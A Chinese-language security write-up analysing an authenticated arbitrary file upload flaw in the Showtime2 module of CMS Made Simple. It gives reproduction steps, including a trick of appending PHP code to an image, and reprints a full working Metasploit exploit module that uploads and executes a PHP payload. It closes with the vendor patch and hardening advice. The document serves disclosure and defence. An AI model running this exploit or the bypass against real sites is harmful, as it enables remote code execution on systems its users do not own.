一个任意文件上传漏洞的复现、分析、利用与防御建议
字数 1084 2025-08-18 11:38:52
CMS Made Simple Showtime2 任意文件上传漏洞分析与防御指南
漏洞概述
CMS Made Simple (CMSMS) 是一个简单易用的内容管理系统。Showtime2 是 CMSMS 中常用的模块,主要用于上传水印图片。在 3.6.2 及之前版本中,该模块存在任意文件上传漏洞,攻击者可利用此漏洞上传任意文件并远程执行代码。
实验环境
- 渗透主机: kali-linux-2018.3-vm-i386
- 目标主机: Debian 9.6 x64
- 软件版本: CMS Made Simple 2.2.8
- 插件版本: Showtime2-3.6.0
漏洞复现步骤
-
正常图片上传测试
- 上传名为
Hacker.jpg的水印图片,确认上传功能正常
- 上传名为
-
尝试上传PHP文件
- 上传名为
test123.php的文件 - 虽然服务器显示警告(无法获取图片尺寸),但文件实际上传成功
- 通过 URL 验证文件确实存在
- 上传名为
-
绕过图片尺寸检测
cat Hacker.jpg test123.php > Hacker123.php- 将图片与PHP文件拼接后上传,成功绕过检测
漏洞分析
问题存在于 showtime2_image 类的 watermark_image 方法中:
class showtime2_image{
protected function __construct() {}
public static function watermark_image($source_image, $dest_image, $create_bak=true){
$gCms = cmsms();
$config = $gCms->GetConfig();
$mod = cms_utils::get_module('Showtime2');
if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){
copy($source_image,$source_image.'.bak');
}
$watermark_file = $mod->GetPreference('watermark_file');
if ($watermark_file=='watermark.png'){
$watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
}else{
$watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
}
if (!file_exists($watermark_file)) return false;
关键问题:
- 代码在执行
copy函数后直接指定了watermark_file的存储路径 - 没有对上传文件进行任何校验和过滤
- 仅检查文件是否存在,不验证文件类型
漏洞利用(Metasploit模块分析)
1. 模块基本信息定义
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "CMS Made Simple Showtime2 File Upload Exploit",
'Description' => %q{
This module exploits a File Upload vulnerability of Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS).
An authenticated user who has "Use Showtime2" privilege could exploit the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => ['Neroqi'],
'Platform' => ['php'],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => "August 11 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, "Username for login"]),
OptString.new('PASSWORD', [true, "Password for login"]),
OptString.new('TARGETURI', [true, "CMSMS directory path"])
], self.class)
end
2. CMSMS登录功能
def login_cmsms
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
'loginsubmit' => 'Submit'
}
)
unless response
fail_with(Failure::Unreachable, 'Connection failed')
end
if response.code == 302
@location_name = response.headers['Location'].scan(/m1_([^=]+)=/).flatten[-2].to_s
@location_value = response.headers['Location'].scan(/m1_[^=]+=([^&]+)/).flatten[-1].to_s
@cookies = response.get_cookies
return
end
fail_with(Failure::NoAccess, 'Login failed')
end
3. 上传Payload功能
def upload_payload(file_name, file_content)
postdata = Rex::MIME::Message.new
postdata.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
postdata.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
postdata.add_part(@location_value, nil, nil, "form-data; name=\"#{@location_name}\"")
postdata.add_part(file_content, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{file_name}\"")
response = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
'ctype' => "multipart/form-data; boundary=#{postdata.bound}",
'data' => postdata.to_s,
'headers' => {
'Cookie' => @cookies
}
)
unless response
fail_with(Failure::Unreachable, 'Connection failed')
end
if response.code == 200 && (response.body =~ /#{Regexp.escape(file_name)}/i || response.body =~ /id="showoverview"/i)
return
end
print_warning('No confidence in PHP payload success or failure')
end
4. 漏洞检测功能
def check
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
)
unless response
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if response.code == 200
module_version = Gem::Version.new(response.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
if module_version < Gem::Version.new('3.6.3')
vprint_status("Showtime2 version: #{module_version}")
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
end
5. 主利用功能
def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@location_name = nil
@location_value = nil
@cookies = nil
login_cmsms
file_name = "#{rand_text_alphanumeric(1..6)}.php"
file_content = "<?php #{payload.encoded} ?>"
print_status('Uploading PHP payload.')
upload_payload(file_name, file_content)
print_status("Requesting '/#{file_name}' to execute payload.")
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', file_name)
}, 15
)
end
漏洞修复方案
在 3.6.3 版本中,修复代码如下:
class showtime2_image{
protected function __construct() {}
public static function watermark_image($source_image, $dest_image, $create_bak=true){
$gCms = cmsms();
$config = $gCms->GetConfig();
$mod = cms_utils::get_module('Showtime2');
if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){
copy($source_image,$source_image.'.bak');
}
$watermark_file = $mod->GetPreference('watermark_file');
if ($watermark_file=='watermark.png'){
$watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
}else{
$watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
}
$fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.')));
if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG')))
unlink($watermark_file);
if (!file_exists($watermark_file)) return false;
修复要点:
- 提取文件后缀名(包含".")
- 将后缀名转换为大写
- 使用白名单验证(仅允许 .GIF, .JPG, .JPEG, .PNG)
- 不在白名单中的文件立即删除
防御建议
-
使用白名单而非黑名单:
- 黑名单难以覆盖所有可能的危险扩展名
- 攻击者可能使用截断(如
test123.php%00.jpg)绕过黑名单
-
多重验证机制:
- 文件扩展名验证
- 文件内容验证(如检查图片魔数)
- 文件大小限制
-
存储安全:
- 上传文件存储在非Web可访问目录
- 通过脚本间接访问上传文件
-
权限控制:
- 限制上传功能权限
- 实施CSRF保护
-
及时更新:
- 将Showtime2模块升级到3.6.3或更高版本
总结
本漏洞展示了文件上传功能实现不当可能导致的严重后果。开发时应始终采用白名单机制,并结合多重验证手段确保上传文件的安全性。对于使用CMSMS系统的用户,应及时更新相关模块以消除安全隐患。